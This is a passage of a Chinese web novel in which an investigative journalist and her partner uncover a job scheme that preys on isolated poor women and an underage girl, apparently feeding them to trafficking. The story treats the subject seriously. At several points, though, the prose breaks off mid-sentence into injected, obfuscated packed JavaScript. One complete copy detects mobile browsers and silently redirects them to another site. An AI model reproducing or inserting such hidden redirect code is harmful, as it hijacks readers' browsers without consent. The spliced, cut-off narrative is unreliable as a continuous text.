说着,手底下正读条的笔电被他一把扣住,一点画面都没露出来。 齐寻面不改色地扯谎:“昨天的素材我得看一下,小孙把时间码弄错了,对不上。” 小赵脸上挂着客套的笑,说出的话却警惕:“哦,这点小事,他怎么也不自己来,还麻烦您。” “小孩,不敢来挨训。”齐寻得某人真传,撒谎撒得天衣无缝:“我检查的时候才发现,就过来顺手要了。” “哦哦,”小赵收起备份硬盘:“那我整理一下,晚上或者明天,给您送过去。” 齐寻嗯了声,心里在飞快琢磨对策。 不能催,一催对面肯定起疑,可这要让他拿回去整理完了,还有什么好看的? 公开版和未公开版的素材大概率是分开保存的,他手里的硬盘肯定不止一个。 得想个法子,确认一下闻闻需要的那个在哪。 他一个办法还没成型,小赵的手机却忽然催命似的响起来。 他低头扫一眼,面露焦躁,又觉得把齐老师一个人晾着情商太低,一脸迟疑地看向齐寻。 齐寻一抬下巴:“没事你接。” 他立刻接起来:“哎,陈制片?” 那边嗓门很大,呜哩哇啦的,大概是某个活儿因为资金没到位,又黄了。 齐寻面无波澜地靠在一边,耳朵轻轻动了动。 “哦,那行……”小赵失望溢于言表:“那要是下次再有长片的活儿,您别忘了我啊?” 对面又是一阵聒噪,大概是在画虚空大饼,听得小赵连连撇嘴,两条眉毛捺到了颧骨。 齐寻看着他的表情,忽然有了一个冒险的想法。 “找活儿啊?”他见小赵挂了电话,第一时间攀谈:“不好找?” “现在圈里什么情况您也知道,”小赵又被晃点,不由抱怨:“快饿死了……” 齐寻假意思索一阵子,道:“我有个朋友,李成义李导,最近想拉个团队。你擅长什么?” “李导?!”小赵眼睛一下子亮了,深吸一口气,张口就噼里啪啦将自己的业务能力吹得天花乱坠,恨不得当场掏出简历来。 齐寻大概听了一耳朵,皱眉道:“哦,这些……有没有女频微短剧的经验?” 虽是临时起意的计策,但他话里仍带着不容置疑的气场:“逆袭之类的题材?” 几乎是话音落下的那一秒,小赵的眼神飞快地瞟了一眼旁边的一摞文件。 文件的下面缝隙中,露出了一点黑灰色的金属边角——那里面,压着一个跟他手里的备份硬盘一模一样的硬盘。 齐寻眉峰一挑:看来就是那个了。 “有是有……”小赵自我拉扯左右为难了半天,才终于一咬牙:“我回去整理一下,来得及吗齐老师?” “来得及,”齐寻一锤定音:“到时候你给我,我替你转交,机会大点。” 小赵一把握住他的手,险些眼含热泪:“齐老师,您一定记得啊齐老师!” 齐寻哭笑不得:“记得,放心。”他指指备份硬盘:“这个要不我拿回去看看?你也别费劲整理了,我着急用。” 小赵点头如捣蒜:“拿拿拿,有什么问题尽管找我,我第一时间给您解决!” 齐寻拿过硬盘掂在手上:“适配器呢?给我找一个?” 小赵都快哭了。 之前他得罪了齐老师的爱人,人家不计前嫌,还给他介绍李导。 别说素材和适配器了,就算现在齐寻要他的命,他都会给的。 于是他不疑有他,转身就去去设备箱里翻东西了。 趁这个空挡,齐寻迅速低头翻开那叠文件,扯出底下的硬盘,把手里的硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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坐在理发台前的顾客很是嫌弃:“到底会不会干?这么长时间了水泥都搅好了吧?” 黎叙闻理亏地呵呵一笑,就听门口一个清亮的声音扬声道:“你懂个屁哦,人家是研究生,爱搅多久就搅多久。” 顾客见是珍妮,也不生气,笑骂着“小瘪犊子”,竟真的计较了。 珍妮站在旁边看了一会儿,忽然凑上来,问黎叙闻:“你今天啥时候有空啊,陪我去买两件衣服嘛。” 黎叙闻笑着瞥她一眼:“买衣服做什么?” 珍妮稀疏的眉毛几乎跳起舞来:“影姐答应推荐我去市里做工啦!” 黎叙闻发酸的手猛地一软。 “哎哟,大喜事!”坐在理发椅上的客人头不敢动,眼神飘到珍妮脸上:“影姐终于松口了?” “可不是嘛!”珍妮嘴角快咧到耳根:“我这么用力表现呢!” 客人咂咂嘴:“你就好命了,我也想去赚大钱来,可惜不够格。” 不够格? 这三个字在刺鼻的染发膏气味中尤为清晰。 黎叙闻手脚麻利地给她上颜色,不经意地问:“这还有什么够不够格的?” “当然有,要不这么多人都想去了,”客人笑道:“要条件实在困难,家中无靠,最好就是一个人。” “……工作而已,为什么要这样?” “谁知道了,可能不影响工作吧,毕竟去了就再不回来了嘛。” 八月的暑气在这句话里蓦地凝成了一层骇人的冷气,黎叙闻后颈处猛然起了一层鸡皮疙瘩。 最好就是一个人。 女性,底层,无权无势,无牵无挂,没有亲友和家人。 这样的人即便失踪,也不会有人找,更不会有人为她奔走、为她怀疑所谓的大善人。如果按电诈的一贯手段,搞不好他们还会让这些女人隔三差五跟这里的人联系一次,打消所有怀疑的念头,最后再慢慢从大家的视线中消失。 一个活人,就这样从旧的环境中被缓消慢融地抹杀,而她去的新地方,无人知晓。 “哎哟,妹妹!干嘛呢!”客人忽然惊叫起来:“走神啦?你也想去啊?” 黎叙闻这才回神,低头一看,红棕色的染发膏不小心在客人后脖子处划了一笔,触目惊心的,像血。 “你赶紧涂,涂好了就陪她去买衣服去,”客人并不计较,好脾气道:“这种好事可不敢耽误。” 所有今天想找珍妮试探、劝解、阻拦的话,这时候全化成了岩浆,又让刚刚那股寒意凝成了石头,哽在黎叙闻的喉咙里,一句也吐不出。 “别去了,”她看着自己满手的红棕:“步行街我去过,没什么好东西。” 黎叙闻慢慢给客人罩上烫发帽,气味酸涩的热气瞬间充斥了小小的发廊。 “我有几件还算拿得出手,”她没露出破绽:“不嫌弃的话你就跟我回去试试,挑一件吧。” 63. 第 63 章 回到出租屋,黎叙闻把自己所有带来的衣服铺了一床,一件一件拿给珍妮看。 “这件呢?”她拿起一件丝质衬衣:“我很多学姐毕业答辩都穿这种,面试什么工作都不跌份儿。” 真丝面料雪白软垂,在窗户筛过的阳光里显得轻薄而柔软。 珍妮盯着它看了半天,在衣服上擦了擦手指,在衬衣下摆处轻轻一捻,迅速缩回来:“我不跟你似的,我黑,穿不了这个。” 黎叙闻随手把衬衫扔到一边,琢磨了一阵,又拿过一条雪纺长裙:“这个,黑金色,不挑肤色。” 这次珍妮只是扫了一眼,便扭过脸,僵硬道:“什么东西这么娘,不喜欢。” 微红的侧脸落在黎叙闻眼里,稍稍点亮了她的眼睛。 “不要算了,我在这也用不到,”她顺手把裙子团成一团:“放店里吧,看谁想要就拿走。” 珍妮一把按住她的手,直勾勾盯着她:“放着呗又不占地方。” “都是去年的款了,”黎叙闻挣开她的手:“过时。” “那、那给我吧,”珍妮急急补道:“反正你也不要了,我拿回去当抹布。” 黎叙闻笑了声:“雪纺不吸水,当不了抹布,我还是……” “我穿,我穿行了吧?”珍妮一咬牙,扯过她手里的裙子,嘟囔:“烦不烦你?” 说着又低头,翻来覆去看:“这很贵吧?什么牌子啊?我、我还没穿过有牌子的衣服。” “衣服就是衣服,两片布罢了,哪家做的不一样?人穿衣服,又不是衣服穿人。”黎叙闻站起身,笑道:“你试试吧,我给你腾地方。” 说完便关门退了出去,留珍妮一个人在卧室里捧着裙子发呆。 换衣服,是需要别人出去的吗? 这么好看的衣服,这人眼都不眨就给她了。 一定是衣裙上的香味太好闻,才让她有了一种被人温柔地抱在怀里注视的错觉。 她只是小,只是没见过什么世面,但她并不蠢。 这个姓黎的女人是真的对她好,还是像影姐之前担心的,只是为了利用她们,做研究然后出名,她还是分得清的。 一股陌生的鼓胀情绪骤然充斥她的胸口,珍妮深深吸了口气,把裙子套在头上,眨了半天的眼睛。 而卧室外的黎叙闻,在关上门的一瞬间,就收敛了笑意。 她想得太简单了。 事情太严重,让她忽略了珍妮的渴望和“她计划”在柳北广泛的群众基础。 她们把所有的希望都寄托在这样一份“工作”上,如果她不顾她们的抗拒强行劝说阻止,不但事倍功半,搞不好她在柳北也待不下去了。 更糟的是,她原以为还有很多时间,现在珍妮被选中,出发的日子恐怕迫在眉睫。 在那之前她如果阻止不了,她就不得不眼睁睁地看着珍妮羊入虎口,而她势单力薄,根本没有其他办法。 怎么办,是不是已经太晚了? 没等她琢磨出个所以然来,卧室的门豁然洞开。 里面摇摇摆摆,走出一只化羽的丑小鸭。 黑金长裙衬着珍妮青涩的、惯于倔强的脸,确实谈不上美,好像一只雏鸟披上了华丽的鸟羽,虽不合适,但意外给了她一种能够站在别人面前的勇气。 珍妮红着脸,表情比起羞涩,更像是紧绷和期待:“怎、怎么样?好看不?” “挺好的,”黎叙闻端起笑容,把她胸前松垮的布料向肩部提了提:“别含胸!” 她一边蹲下给珍妮整理裙摆,一边问:“说了吗,什么时候出发?” “就这几天了吧。” 黎叙闻的手指握紧了裙角。 她暗自抿了下唇,又问:“那边没要你证件?” “要了,”珍妮僵直着身体,动也不敢动:“影姐说到时候让我带着,直接给他们。” 黎叙闻想了想,道:“影姐有没有跟那边说,你其实未成年?” 珍妮忽然往后退了半步:“谁未成年?” 她似乎想往卧室逃,黎叙闻眼疾手快,一把关上卧室的门,将她困在身前:“你这张脸、你的行为举止、你说的每一句话,都在告诉别人,你未成年。” 两人站在阳光照不到的暗处,眼神在木门的朽气中不停交织碰撞。 珍妮脸色几经变换,最后终于靠在门上,垂下眼睛:“影姐都打好招呼了,那边说没事,可以教我。我什么都能学,真的!” 不是这个问题。 正经的工作,哪怕是体力活,哪有人敢用未成年,更别说她们口中能赚钱的“好工作”。 “到底做什么去啊?难吗?”黎叙闻稍退一步,跟她拉开距离:“一个月工资多少啊?” 珍妮似乎回想了一阵:“我见过一个姐姐打视频给影姐,环境很好的,就电视里演的那种大公司,说一个月能赚将近一万呢,干得好还有更多!” 黎叙闻:“……” 她命都快搭上了,一个月才刚刚赚一万! 也太敢编了……这要是真的,那她就是假的! “但具体做什么的没说,对吗?”她按下腹诽,继续道:“就那一个人打过电话?” 珍妮:“对,我只见过那一次,影姐说那个姐姐身体不好,她最不放心,见姐姐在那边挺好的,也就不惦记了。后来还说呢,她们过上了好日子,都不愿意再跟我们联系了……我才不会那样,我一定天天给影姐打电话,给她寄钱,一个月给她寄九千块!” 难怪,难怪。 被接走的女孩联系柳北的频率会逐渐减少,电话打过去估计也是在监控下回应两句,慢慢地就会给人造成敷衍又不耐烦的印象。 尤其影姐自尊心强,绝不会再上赶着联络,好像要占人家什么便宜似的。 她明知道送走一个人,她就失去一个朋友,可她依然源源不断地给“她计划”输送自己珍视的人,为了让她们过上好日子。 但她们去哪了呢,是真的赚了钱过上了优渥的生活,还是…… 黎叙闻不敢往下想。 “那通电话,有没有什么不对劲?” 珍妮“嗐”一声:“能有啥不对劲?那姐姐有点呆,说话也慢吞吞,没说几句就挂了。” “你不害怕?”把这句记在心里,黎叙闻又特意选了个模棱两可的说法:“他们要是欺负你呢,要是……把你带到你完全不认识的地方,你也没有认识的人,你又干得不开心想回来,他们不让你走,该怎么办?” 珍妮瞪大眼睛,像看智障一样看了她一会儿,噗嗤笑出来:“大姐,你没事吧?他们能咋欺负我?是又把我卖给杀猪的,还是让我去卖肉啊?”她笑得眼泪都快出来了:“还干得不开心……那么多钱!让我吃屎我都愿意!” 黎叙闻面无表情注视着她笑到变形的脸,一时无言。 这姑娘见识过太多污秽,以至于任何不堪的猜测都无法吓退她。 但懂的又太少,对世间的恶意,依然缺乏无底线的想象。 黎叙闻咽了咽,也笑了,说:“也是哈。” “那个,我还想跟你说件事。” 黎叙闻抬头:“嗯?” “就是,”珍妮的脸色远比刚刚试穿衣服时要腼腆:“上次给我们买雪糕的那个男的,你认识?” 黎叙闻心里咯噔一声:“怎么?” “也没什么……我给他买了个小玩意,想、想谢谢他。”话说一半,她脸就红透了。 她摊开手,掌心放着一枚亮晶晶的耳钉。 黎叙闻盯着耳钉上的一点反光,一时不知该说什么好。 “我觉、觉得很适合他。”那点反光落进珍妮眼里,也亮晶晶的。 见黎叙闻怔愣着半天不说话,珍妮把耳钉往她手里一塞,扔下一句“你帮我给他”,就一溜烟跑了。 “给我?” 齐寻坐在木沙发上,借着夕阳下的余晖拈起那枚小小的耳钉:“我往哪戴?” 黎叙闻失笑:“耳钉你说往哪戴?你要想戴别处,我也没意见。” “……好歹认识这么久,”齐寻无奈:“你不知道我没耳洞?” 黎叙闻视线不自觉飘向他饱满的耳垂。 怎么可能不知道,他们两个可不止是“认识这么久”,而是有过耳鬓厮磨、同床共枕的关系。 虽然都是假的。 意识到自己思绪飘到了不可名状的地方,黎叙闻轻咳一下:“不想要就自己还给她。” “怎么?”齐寻盯着她的脸:“前两天还让我离她远一点。” 本来黎叙闻的意思确实是这样,可今天珍妮把耳钉给她,话到嘴边,她却说不出口。 她不忍珍妮已然惨淡的人生再填遗憾,就算是拒绝,她也值得一个正面的、礼貌的拒绝。 而且她怎么说,说他不可能喜欢你你死心吧? 那她跟珍妮的关系才真的到此为止了。 “人家喜欢的是你不是我,”黎叙闻睨他:“这种事还要我代劳?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027264|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你拒绝的话说得蛮好听,”齐寻意有所指:“我听过。” 黎叙闻哽了一下,随即把耳钉扔进他口袋,没好气道:“说正事!” 提到正事,齐寻的表情严肃了起来。 他趁摄影发现硬盘被掉包之前拷下了所有素材,花了些时间粗剪了下,大致拼成了一部短片。 ……意图可以说非常明显了。 今天的正事,就是黎叙闻得知他取得进展,非要看看原片,给她一个人看还不行,还非要齐寻守在旁边,说他更专业,搞不好能发现什么她看不出的证据。 本来已经做好心理准备了,她一说正事,齐寻又开始浑身刺挠。 他木然地哦了一声,面无表情地点开了片子。 一开始的镜头,是那天黎叙闻看到的,她跟影姐叙旧的片段。 只不过跟那一版不同,这里面几乎没有影姐的身影,而是把镜头对准了女演员的脸。 几番景别的交错,勾勒出一个浑身名牌、身材优越、跟这里格格不入的精英形象。 黎叙闻皱眉道:“为什么非要这样共用镜头?” “工期上可能来不及,”齐寻解释:“现成的场景,能用就用。” 屏幕上的女孩告别了影姐,施施然走到巷口。 一个西装革履戴着墨镜的男人给她开门,毕恭毕敬伺候她坐进车里,然后画面一转,场景来到了机场。 灯光和妆容都变了,女孩下车,换了空姐的制服,拖着小皮箱优雅地微笑着,跨进机场自动门的一瞬间,场景和服装再度变换,成了一处高级写字楼的会议室。 女孩站在投影前将PPT,下面的精英们鼓掌欢呼,仿佛纳斯达克敲钟现场。 她挥别精英观众,迈出会议室,画面一晃,她穿着几片布,戴着夸张的耳环,走上盛大的T台。 走完秀她还不下班,而是去到一家豪车4S店,在鲜花气球中提了一辆颜色夸张的跑车,在销售的簇拥下,坐上了驾驶座。 最后,女孩回到一处高级的公寓,依偎在一个人旁。 那是个穿着西装的男人,腕上名表闪耀,正晃动着红酒杯,另一只手轻轻抚上她的头发。 女孩表情崇拜而迷离,说出了这部片子中的第一句台词:“哥哥,谢谢你的栽培,我终于成功了。” 说罢她看向镜头,语气近乎蛊惑:“只要努力,就能挣脱泥潭成为人上人,我可以,你也可以。” 屏幕前的黎叙闻看得云里雾里。 “还有些零碎片段,有高级护士、KTV场景、老师——穿着超短裙的那种,”齐寻补充:“还有跟‘名流’喝酒应酬的场面。” 把这几个片段咂摸了一遍,黎叙闻忽然悟了。 “这些不都是……”一阵鸡皮疙瘩爬上她后颈:“都是男性眼里女人该做的工作吗?” 齐寻嗯了声:“反正在这个片里,这些职业都被扭曲得不太正经。” “但在珍妮那样的女孩子眼里,这就是成功。”黎叙闻慢慢道:“这就是她们平时刷到的、读到的、能想象到的成功。” 这件事远比她想象得严重。 仅从这部短片来看,还不能确定对方的最终目的,但有一点可以肯定——这是针对底层女性的一场吃干抹净的围剿。 她们的终点会是哪里? 黎叙闻不敢想。 一阵难以言喻的沉默在缓慢而厚重地流动。 空气里的潮湿窒闷无孔不入地,钻进黎叙闻的心里。 “我想起一句话:‘一切都和性有关,除了性本身,而性关乎权力。’”她道。 她忍着恶心,把视频倒回男人出现的地方:“自始至终,男人都没有露过脸,镜头甚至就是他的眼睛,而这里面着重表现的,是女性在这样的凝视和控制之下,所能达到的‘成就’。” 她一把盖上电脑屏幕:“他们就是用这种手段,吸引那些姑娘的。” 身后的人嗯了声,语气黏糊糊的,似乎后面还有别的话,却犹豫着说不出口。 黎叙闻奇怪地回身看他:“你想说什么?” “没有……”齐寻舔了下嘴唇:“不是什么重要的事。” “怎么不重要?”黎叙闻无知无觉地贴近他:“任何线索都重要,快说!” 齐寻捏着眼角仰天长叹了声。 他别扭许久,最终还是认输了:“这些职业,通常会在哪里集体出没?” “哪里?” “……那种片里。” 64. 第 64 章 黎叙闻愣了半秒,忽然反应过来他在说什么了。 “你是说……小电影吗?”她还沉浸在自己的分析里:“可要真是那样,他们敢这样明目张胆地拍?” 齐寻无声地清了下嗓子,耳侧一片血流的嗡涌声,手都不知道该往哪里放。 太尴尬了。 倒不是他还像十几岁那么纯情,而是在她面前说这个…… 总觉得是亵渎。 他这心虚的样子,黎叙闻可是全都看在眼里了。 一般遇到这种场面,正常人都会打个哈哈揭过去,力求大家都不尴尬。 可黎叙闻不是正常人。 她凑近了,鼻尖几乎蹭到他耳垂,细细看他的鬓角:“啊,你出汗了。” 齐寻面无表情抬手抹掉:“热。” 她轻轻笑了一声,鼻息喷在他血红一片的耳侧,齐寻没忍住,喉头一滚,极轻极快地向一边闪了下。 “哎,你是不是也看过不少?”她不缺德到底不算完:“也喜欢cosplay啊?” 越说她就越靠近:“咱们可是睡过一张床的兄弟,聊聊这个怎么了?” 齐寻终于扭过头,垂下眼睫,看着她几乎搁在自己肩膀上的精巧下颌,还有她那双被一肚子坏水洗得透亮的眼睛。 不知是生气还是什么别的,他视线简直带着火,从双眼到鼻尖,直直燎进黎叙闻的眼底。 风扇在一边徒劳地搅动粘稠的热意,热风拂过汗湿的睫根。 她眸光轻轻晃漾了一瞬,嘴上却不饶人,伸手轻轻弹了下他充血的耳垂:“在想什么?是不是在想‘今天不把你办了我就不是男……’” 厥词没放完,双唇却被轻轻一贴,然后她整个人便陷入了他小心但坚实的怀抱。 思绪跟她的动作一齐静止,黎叙闻攀着他的肩膀,睁大了眼睛。 “改改你这个一害怕就胡说八道的毛病,”他的声音透过跟她紧贴的胸腔震动而来:“没事的闻闻,这事可能没你想的那么严重。” 黎叙闻胸口一直压着的东西蓦地被搬开了。 她低着眼睛抹了下嘴:“谁害怕了?这就是你突然亲我的理由?” 话是这么说,可仍把脑袋挤进他颈窝。 “不这样怎么让你住嘴?”齐寻笑了声:“你嘴有多厉害,自己不知道?” 怀里的人长长舒了口气,不说话了。 过了很久,她才说:“齐寻,我好像……做不到。” 这件事显然牵涉深广,她现在什么证据都没有。 而珍妮马上就要走了。 黎大记者铁肩担道义,单枪匹马敢闯拐卖集团的仓库,洪水滔天也不肯放过任何线索,可现在,她蜷缩在某人怀里,说自己做不到。 而作为这个“某人”,齐寻觉得又心疼,又幸运。 他把圈着她的手臂又环紧了点:“做不到也没关系,我们可以回去搬救兵,还可以报警,没证据咱们就在公.安局门口打地铺,他们总有松口愿意来看看的时候。” 黎叙闻听笑了:“胡说什么,那还要我们记者干什么?” “总之没关系,做不做得到都没关系。”齐寻摸摸她的头发:“无论如何我都跟你一起。” “跟我一起?”怀里的人还是笑:“没名没分的,怎么跟我一起?” 齐寻单手把风扇拽过来,一丝丝热风聊胜于无:“你去哪我就去哪,你让我做什么我就做什么,名分什么的,我无所谓。” 顿了顿又说:“当然最好还是有。” 黎叙闻笑得不行,坐起身子,把汗湿在脸上的发丝拨到一边:“行,那我封你为齐大总管。” “……我看起来像太监?” “大总管怎么就不是名分了?” 总之他们的对话再缱绻再真心,最后都会由黎叙闻驾着缰绳,往不可名状的地方去。 齐寻也习惯了,不用插科打诨岔开自己不想提的话题,也就不是黎叙闻了。 他屈起手指,轻轻在她额头上弹了一下。 没关系,他可以等。 “珍妮一周后就要被接走。”黎叙闻敛去笑意正经起来:“我觉得可能来不及了。” “先别灰心,”齐寻道:“第一,我觉得这不是什么直白的情.色交易,如果是那样,这片尺度应该更大更露骨,他们也不敢这样拍。” “第二呢?” “第二,侯导说明晚蔡总要跟摄制组见面,地点定在他公司总部。我尽量看看有没有能进一步的机会。” “那我去告诉书影我们的猜测,不,”黎叙闻视线投向桌上的笔电:“告诉她真相。” 齐寻从侧边看着她的轮廓,想,这就打起精神了。 不愧是闻闻。 “你小心点,”他笑了声:“我不在没人给你叫救护车了。” 黎叙闻勾了勾唇角,没跟他斗嘴,反而伸手握了下齐寻的手腕:“你才要小心些。” 手被他摘下来团在掌心:“关心我?” “……关心我的大总管!” 信誓旦旦要告诉影姐“真相”,可第二天黎叙闻一直磨蹭到晚上,都没有找到说出口的机会。 她当记者披露真相,大部分时候扮演的是“我告诉你个秘密”这样的角色,而不是医院ICU门口的报丧鸟。 可如今她坐在一群咿咿呀呀满地乱窜的孩子中间,真就是这个张不开口的感觉。 好似由她说出真相,书影的崩溃就有她一份责任。 她心不在焉地给一对抢玩具的小冤家做了主,检查了一次喂食时间表,最后捧着一本故事书,坐在角落里发呆。 书影“王八羔子越忙越是不见人”的骂声远远传来,小毛毛颠颠地跑过来窝进她怀里,指着她手里的书:“阿姨,讲兔兔,讲兔兔!” 黎叙闻却充耳不闻,只顾自出神。 珍妮不在,正好是个机会,否则两个人同时对她大小声,她可能真的按不住。 要是能顺利说服影姐,到时候两个劝一个,总能把珍妮的失望分担些。 黎叙闻这样想着,正欲站起身,影姐却忽然开口:“你那个研究,是研究啥?” 黎叙闻一下子停住了。 只见影姐手底下晃着个奶瓶,头也不抬:“我是搞不懂你们,好好的书不念……我看你就是不爱写作业,来躲懒。” “要做什么研究嘛,你问吧。我也就写过两首酸诗,别人就当回事了。”她滴了两滴在手背上试温度,口气缓了些:“不会影响你分数吧?别费这么大劲,回去还让老师骂了。” 她语气是一贯的不客气,带着点埋怨和嫌弃,却句句都在为这个“研究生”考虑。 一股无限膨胀的酸胀感从黎叙闻心口极速生长,瞬间就吞噬了五脏六腑。 朝夕相处的这些日子都不是假的,书影明明已经信任她了。 这就是她一开始想要的,不是吗? 今天只要她一开口,所有的一切都将不复存在,她们之间,可能就只剩下怨恨了。 要不……等做完访谈再说? 可珍妮就要走了,她必须尽可能争取时间,哪怕不能让她们立刻放弃,也至少给自己留下应变的时间。 她紧紧闭了下眼睛。 一团和乐自然是好,她大可以像以前一样,狗腿地吹一通彩虹屁,然后其乐融融地做完访谈,明天就离开。 至于其他的,她走后,哪管它洪水滔天? 苍白的手掌紧握又松开,龟兔赛跑的童话书被她捏皱了一角。 不能再软弱了。 现在她们唯一的生路,就在她手里。 “影姐,我有事要告诉你。” 书影刚拿起针线盒准备缝补毛巾,闻言抬起头,从花镜上方看她:“咋?” 黎叙闻走上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好日子?你知不知道很多人被骗去国外,到最后活不见人死不见尸?”黎叙闻实在说不通,只能下猛药:“你以为她们是去享福的,你以为她们拿着高薪吃香喝辣,其实她们可能早就烂在不知道哪条臭水沟里了!” 书影让她这句诛心的话戳得猛然住了嘴。 她脸上疏于保养的皮肉松垮地垂着,兜不住她沉重的眼神,那眼神一直沿着她的身体奔流,淌在她脚下。 在哪里,她这辈子收获过的所有目光汪成一池,她低着头,似乎在那池子里注视着自己。 “不是只有你们大城市的学生妹配过好日子,你们读书的懂个屁。” 她其实仍在骂,只是言语中的疲惫已经多过了愤怒:“一天工没有做过,哪知道有人过得苦,哪知道好人多难得?” “我以为你跟他们不一样呢,”书影冷笑着,字字如刀:“简直跟那些记者一样恶心。” 孩子们的叫闹声不知什么时候已经停了,一个个呆呆地在身后看着她们,想哭也不敢哭。 黎叙闻默然地站在她面前,肩膀抑制不住地颤动了一瞬。 太扎心了…… 可她来不及反驳,更来不及伤心。 她所有的心力脑力都在不停地盘算,到底还有什么办法,可以让对面听进她的话。 ……实在不行,就只能强取。 影姐这么固执,无非是觉得她一个学生,什么都不懂,说的话都跟放屁一样不算数。 ——不信任她,仅仅是因为她没有一个能说服她的身份。 而这件事,是最容易解决的。 解决的方法,就是跟书影这个人彻底一刀两断。 黎叙闻牙关咬得酸疼,指甲深深嵌进肉里。 她胸腔剧烈地起伏数次,下定决心似地,从口袋里掏出一样东西,放在书影的面前。 头顶沾着斑驳黑影的灯光照在那上面,照出一道反光,让它惨白而模糊。 那是一张有照片、有名字的记者证。 这里不再有一个叫“小黎”的笨拙的学徒,也不再有一个叫“影姐”的暴躁的大家长。 这里有的,只有调查记者黎叙闻,对事件当事人下达的最后通牒。 她看着书影铜铃似的双眼,心里破掉的洞里,一阵一阵涌出惋惜和难过。 “书影女士,请问现在,我有资格让你听我说话了么?” 65. 第 65 章 当初黎叙闻听说书影“单杀男记者战绩可查”的时候,心想乖乖,这可不能暴露了,必须一口咬定自己是研究生,打死都不能认。 她也想过如果书影发现,她就抵死不认,然后溜之大吉。 却没想到最后,真相竟然是从她的嘴里说出来的。 可现在她也不后悔。 在身后孩童哇哇大哭的噪音中,她直视书影惊诧愤怒的眼睛,平静的声音下卷着暗涌:“我知道你恨记者,但你不能否认,调查记者的结论值得你相信。” 书影胸口剧烈起伏,拉出风箱一样顿挫的呼吸,抖着嘴唇:“我不听,你滚!滚!” 黎叙闻更上前一步:“你应该早有怀疑吧,你——” 这时玻璃门忽然滋啦一下,老旧的滑轨唱出一声长长的呻.吟。 黎叙闻一偏头,竟看见消失了一下午加一晚上的珍妮。 她一手握着门框边缘,另一只手攥成拳,木然地站在门口。 那一瞬间,黎叙闻真的信命了。 ——早不来晚不来,偏偏等她掷地有声说自己是记者时,分秒不差地出现了。 但事到如今,她已经没有后退的余地。 她干脆上前一步,把书影整个人困在水池前,一张一张展示证据:“这个,是我同事找到的,蔡道全公司跟‘她计划’勾结的高管名单;这个,是我找到‘她计划’几年前的跟踪宣传,你看工作地点是哪里?缅北工业园区!” 她盯着书影抖动的嘴角:“现在你还觉得,她们是去哪里过好日子吗?” 狭小的理发店里,孩子的尖锐啼哭下,三道呼吸声交错着此起彼伏,像三只躬身蓄势的凶兽。 空气几乎要凝成实质,门口人忽然动了。 珍妮什么都没说,一扬手,将握在手里的东西抛过来。 那东西在空中划出一道弧线,无声地落在黎叙闻脚下。 是珍妮托她送给齐寻的那枚耳钉。 “他跟我说他结婚了,老婆是你。”珍妮笑出来:“你不是说你不认识他吗?” 这一句倒把黎叙闻噎住了,徒劳地张了张嘴,却发现自己无从解释。 她耐下性子:“这很复杂,现在……不是那种关系……” “你跟我,不是‘我们’吗?”珍妮木然地“哈”了一声,眼睛里却亮亮的:“我以为我们是朋友!” 她捂住眼睛:“我干啥了你要这样骗我?” 黎叙闻眉心止不住地抖,大步上前拉住她的胳膊:“珍妮,过后我会好好跟你道歉,但我刚说的你听懂了吗?不要……” 一句话还没说完,她猝不及防被珍妮挤到门外,然后肩膀被狠狠一推! 她一个趔趄没站稳,退了两步,还是一下坐在了门外的空地上。 黎叙闻大脑一片空白,下半身几乎失去了知觉。 珍妮神色一愕,紧接着又冷了脸,用少女所能发出的最大的声音喊:“我偏要去!我再贱也不要被你耍着玩!装货,滚!” 被赶出来已经够丢人了,还有街头巷尾有百无聊赖的,出来遛弯的,早听到她们这边的动静,一个个探头探脑,都想看看这个外来客的笑话。 黎叙闻忍着疼站起身,仍不死心:“我可以滚,但你得答应我别去!” 回答她的是一声冷笑,和玻璃门被拍上的巨响。 空气渐渐恢复了寂静,连暮夏夜晚的虫鸣也远去了。 黎叙闻一个人默然地站在门口。 来来往往的人都在回头看她,而最该看她的两个人却都背对着她。 耳钉孤零零地掉在地上,闪着冷光。 她拍了拍身上的土,低着头在理发店门口站了一会儿,默默地离开了。 剧组聚餐一向闹腾得不行,摄制组虽小,却丝毫不影响各位影视民工喝得五马长枪。 聚餐结束已是夜里三点多,齐寻回到柳北,没回招待所,先绕路去了一趟黎叙闻家。 他当然没指望这个点儿了人还醒着,只是想绕去她卧室那边低矮的窗户看一眼,看看她窗户有没有关好,窗帘有没有拉严实。 ……结果就抓到一个三更半夜不睡觉,坐在窗台上偷喝酒的大漂亮。 齐寻远远看着,只觉得自己呼吸都轻了。 两人认识也有段日子,可每当他觉得自己已经习惯了她的脸,或者被她的恶劣作弄到再漂亮也过不去的时候,她总能美出新高度,再给他一点人类本能的震撼。 卧室的窗户又低又宽,她穿一件长T恤,手里握着一个酒瓶,两条白皙笔直的腿搭在窗框外头晃啊晃,线条直直延伸到细痩脚踝,慢慢收窄,最后画成一双莹润的脚,在月色下白得发光。 而她本人对这些浑然不觉,双脚一踢一踢,如画眉眼被晴朗夜空衬得清明。 月光顺着莹亮眼底,翻过山根,流向鼻尖,又沾上她的嘴唇。 不远处的荒地断垣废墟似的荒芜,她倒好,在这摇摇晃晃,当个精灵。 齐寻耳际又开始发烫——精灵唇上的月色是什么味道,他又想尝一尝。 她似乎听见了他略微加快的呼吸,视线忽然从远处收回来看向他,不无惊喜:“齐寻?” 心动到底是藏不住的。 齐寻叹了声,拔足上前,轻声道:“还不睡?” 黎叙闻“嗯”了声,挈起酒瓶抿了口,拍拍身边,示意他上来。 齐寻也是一身的烟味和酒气,离她一步远就停下:“不坐了,身上难闻。” 他就这么站在地上,仰望她就行。 